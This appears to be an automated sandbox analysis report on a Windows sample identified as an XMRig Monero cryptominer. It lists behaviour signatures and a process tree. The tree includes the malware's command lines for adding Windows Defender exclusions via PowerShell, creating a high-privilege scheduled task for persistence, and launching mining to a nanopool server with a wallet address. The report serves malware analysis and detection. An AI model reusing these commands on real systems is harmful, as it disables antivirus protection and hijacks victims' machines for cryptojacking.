Analysis
- max time kernel
101s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
20/12/2022, 11:12
General
- Target file.exe
- Size 2.0MB
- Sample221220-navg4sce4v
- SHA256 97abbd9f394186fb04e36ac6eb38127f7aabc62086c363b5e6e7832cc68b5b9f
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 32 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp183B.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\cloud\TQOV.exe"C:\ProgramData\cloud\TQOV.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TQOV" /tr "C:\ProgramData\cloud\TQOV.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
TQOV.exe
TQOV.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
tmp183B.tmp.bat
memory/1256-182-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/1256-181-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/1480-154-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/1480-150-0x0000024563A40000-0x0000024563A62000-memory.dmp
memory/1480-158-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/2100-180-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/2100-184-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/2504-152-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/2504-157-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/3624-169-0x00007FF84D930000-0x00007FF84DAD1000-memory.dmp
memory/3624-191-0x0000000003200000-0x0000000003243000-memory.dmp
memory/3624-196-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/3624-190-0x0000000000FE0000-0x0000000001252000-memory.dmp
memory/3624-189-0x00007FF84B340000-0x00007FF84B37B000-memory.dmp
memory/3624-163-0x00007FF830FA0000-0x00007FF83104A000-memory.dmp
memory/3624-166-0x00007FF849E90000-0x00007FF849EA2000-memory.dmp
memory/3624-165-0x0000000000FE0000-0x0000000001252000-memory.dmp
memory/3624-167-0x0000000003200000-0x0000000003243000-memory.dmp
memory/3624-168-0x00007FF830EE0000-0x00007FF830F9D000-memory.dmp
memory/3624-188-0x00007FF84CF10000-0x00007FF84CF7B000-memory.dmp
memory/3624-164-0x00007FF84D500000-0x00007FF84D59E000-memory.dmp
memory/3624-170-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/3624-171-0x00007FF84D900000-0x00007FF84D92B000-memory.dmp
memory/3624-172-0x00007FF82F9F0000-0x00007FF8304B1000-memory.dmp
memory/3624-173-0x0000000000FE0000-0x0000000001252000-memory.dmp
memory/3624-174-0x00007FF8308E0000-0x00007FF830A2E000-memory.dmp
memory/3624-187-0x00007FF82AD00000-0x00007FF82AE02000-memory.dmp
memory/3624-186-0x00007FF830AA0000-0x00007FF830AD5000-memory.dmp
memory/3624-185-0x00007FF84C020000-0x00007FF84C047000-memory.dmp
memory/4212-199-0x00000216BFE90000-0x00000216BFEB0000-memory.dmp
memory/4212-204-0x0000021752630000-0x0000021752650000-memory.dmp
memory/4212-203-0x00000216BFEB0000-0x00000216BFED0000-memory.dmp
memory/4212-202-0x0000021752630000-0x0000021752650000-memory.dmp
memory/4212-201-0x00000216BFEB0000-0x00000216BFED0000-memory.dmp
memory/4212-200-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4212-198-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4212-197-0x00000216BFE30000-0x00000216BFE50000-memory.dmp
memory/4212-195-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4212-194-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4212-192-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4804-135-0x00007FF849E90000-0x00007FF849EA2000-memory.dmp
memory/4804-141-0x00007FF830F00000-0x00007FF83104E000-memory.dmp
memory/4804-144-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/4804-133-0x00007FF830A80000-0x00007FF830B2A000-memory.dmp
memory/4804-149-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/4804-143-0x0000000002CE0000-0x0000000002D23000-memory.dmp
memory/4804-142-0x0000000000670000-0x00000000008E2000-memory.dmp
memory/4804-148-0x0000000000670000-0x00000000008E2000-memory.dmp
memory/4804-140-0x0000000000670000-0x00000000008E2000-memory.dmp
memory/4804-136-0x00007FF82F8C0000-0x00007FF82F97D000-memory.dmp
memory/4804-134-0x00007FF84D500000-0x00007FF84D59E000-memory.dmp
memory/4804-137-0x00007FF84D930000-0x00007FF84DAD1000-memory.dmp
memory/4804-138-0x00007FF82F980000-0x00007FF830441000-memory.dmp
memory/4804-139-0x00007FF84D900000-0x00007FF84D92B000-memory.dmp